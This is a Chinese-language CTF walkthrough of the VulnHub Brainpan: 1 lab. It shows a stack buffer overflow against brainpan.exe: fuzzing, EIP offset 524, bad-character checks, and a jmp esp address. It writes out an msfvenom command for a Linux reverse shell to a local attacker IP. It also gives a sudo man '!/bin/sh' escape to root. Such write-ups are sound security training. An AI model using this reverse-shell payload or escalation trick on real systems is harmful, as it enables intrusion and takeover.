No.17-VulnHub-Brainpan: 1-Walkthrough渗透学习

**

VulnHub-Brainpan: 1-Walkthrough

**

靶机地址:https://www.vulnhub.com/entry/brainpan-1,51/
靶机难度:中级(CTF)
靶机发布日期:2013年3月20日
靶机描述:By using this virtual machine, you agree that in no event will I be liable
for any loss or damage including without limitation, indirect or
consequential loss or damage, or any loss or damage whatsoever arising
from loss of data or profits arising out of or in connection with the use
of this software.
目标:得到root权限&找到四个flag.txt
作者:大余
时间:2020-01-13

请注意:对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

在这里插入图片描述
我们在VM中需要确定攻击目标的IP地址,需要使用nmap获取目标IP地址:
在这里插入图片描述
我们已经找到了此次CTF目标计算机IP地址:192.168.182.152
在这里插入图片描述
开了9999和10000端口…
这次和前面几篇都不一样…
先来试试9999端口
在这里插入图片描述
拒绝访问…没密码没办法了…尝试10000端口吧
前面nmap给的信息10000端口有http服务
在这里插入图片描述
这里主要有关安全编码的Veracode信息图,发现了OWASP在Web应用程序中排名前10位的漏洞等等,目前没看到有用的信息…
在这里插入图片描述
在这里插入图片描述
发现/bin目录,发现特定的HTTP服务器和Python版本…
在这里插入图片描述
在这里插入图片描述
使用wget下载brainpan.exe文件并使用file命令检查该文件,发现它是一个32位Windows可执行文件
在这里插入图片描述
在Windows机器上执行该应用程序可以发现它是一个网络服务器,正在等待端口9999上的连接,很可能找到了正在该端口上监听的应用程序…

下面在本机上用immunity debugger打开brainpan.exe文件
在这里插入图片描述
运行它
在这里插入图片描述
现在创建一个简单的fuzzer python脚本,以发送字符串来尝试使程序崩溃…
在这里插入图片描述
然后在kali上输出到本地EXE文件中执行…
在这里插入图片描述
可以看到python脚本中的字符串成功发送,并且触发了访问冲突…
在这里插入图片描述
知道字符串会导致程序崩溃,我想确切地确定它崩溃的位置并覆盖EIP(在这种情况下,它是61616161,而ascii小写字母’a’是十六进制的,所以它表示aaaa),在python脚本有效负载中替换字符串,插入一串唯一的字符…
要创建一串唯一的字符,需要使用metasploit工具“ pattern-create”来创建一个唯一的1000个字符的字符串…
在这里插入图片描述
将其添加到脚本中作为有效负载…
在这里插入图片描述
继续输入
在这里插入图片描述
这次运行它时,确切地看到它崩溃的位置以及用来覆盖EIP的内容…
可以看到它用35724134覆盖了EIP
知道字符在1000个字符的字符串中的某个位置,需要确切的知道它…使用metasploit…
在这里插入图片描述
在524位置,调整下ptyhon脚本…
在这里插入图片描述
继续运行
在这里插入图片描述
看到EIP已被62626262(bbbb)覆盖了…
将最终用有效载荷中的c替换shellcode…
这边需要注意的是:确保增加区域的大小以容纳反向shell代码,需要将c的数量调整数值!!
在这里插入图片描述
右键单击ESP寄存器并选择“ follow in dump”,可以看到所有写入内存的’c’字符。起始地址是005FF910
向下滚动查看,可以看到写’c’的结束地址是005FFAE8
在这里插入图片描述
这边我写反了但是意思都知道…(尴尬) 472个C
如果这里不够字符来写shellcode,那得用到fuzzysecurity
这边472个已经够了…
现在需要检查包含在我的shellcode中的“坏字符”…我将使用不同字符的字符串…
在这里插入图片描述
这是一个生成所有字符的简单python脚本…
在这里插入图片描述
调整python脚本有效负载…
在这里插入图片描述
重新运行…
在这里插入图片描述
仔细查看了序列,看不到任何丢失的字符,可以使用所有字符(\ x00为空字节除外)
需要跳转到堆栈,就需要找到指令“ jmp esp”的地址…
在这里插入图片描述
311712F3…

将它添加到我的Python脚本中,以替换写入EIP的4个“ b”字符​​(反转需使用小端序格式:\ xF3 \ x12 \ x17 \ x31)
使用msfvenom创建我的反向shell有效负载…
在这里插入图片描述
命令:msfvenom -p linux/x86/shell_reverse_tcp -b “\x00” LHOST=192.168.182.149 LPORT=443 -f python
在这里插入图片描述
在这里插入图片描述
python中添加了一点小字节的反向jmp esp地址,16个nops(\ x90),然后是实际的shellcode…
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
首先在本地测试漏洞,方法是用wine启动brainpan.exe,然后启动服务,看到连接已建立!!
该漏洞利用程序是在靶机上工作的(192.168.182.152),继续测试…
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
成功通过缓冲区提权…
在这里插入图片描述
直接sudo提权,发现/home/anansi/bin/anansi_util…
继续sudo目录试试…
在这里插入图片描述
意思是可以选择一个执行,command告知我有命令能执行,试试
在这里插入图片描述
!进入到man目录…
在这里插入图片描述
该目录全是root权限执行的文件…(这里有太多提权的方法,shell我就不写了,发现已经凌晨2点了…)
在这里插入图片描述
记住,我已经以sudo(以root身份)运行了整个程序,然后如果我输入!/bin/sh,它将在此目录中运行一个shell… 以root身份运行!(记住这个方法,简单省力省时)
在这里插入图片描述
成功拿到root权限和flag…

花了一天的时间来理解缓冲区溢出,栈溢出,二进制,逆向分析!!!!没去接触前,真的很难,只要认真专研下来,理解原理,其实难度还是不大…(哈哈,站着说话不腰疼)

缓冲区溢出调试与漏洞利用编写缓冲区溢出需要了解基础的栈溢出原理、调试方法及exp编写方法,属于逆向分析比较基础的程度,但是对于没有逆向分析经验的小伙伴还是需要认真学习下的,加油。

由于我们已经成功得到root权限&找到flag.txt,因此完成了简单靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

在这里插入图片描述

发布了17 篇原创文章 · 获赞 3 · 访问量 2234

猜你喜欢

转载自blog.csdn.net/qq_34801745/article/details/103949489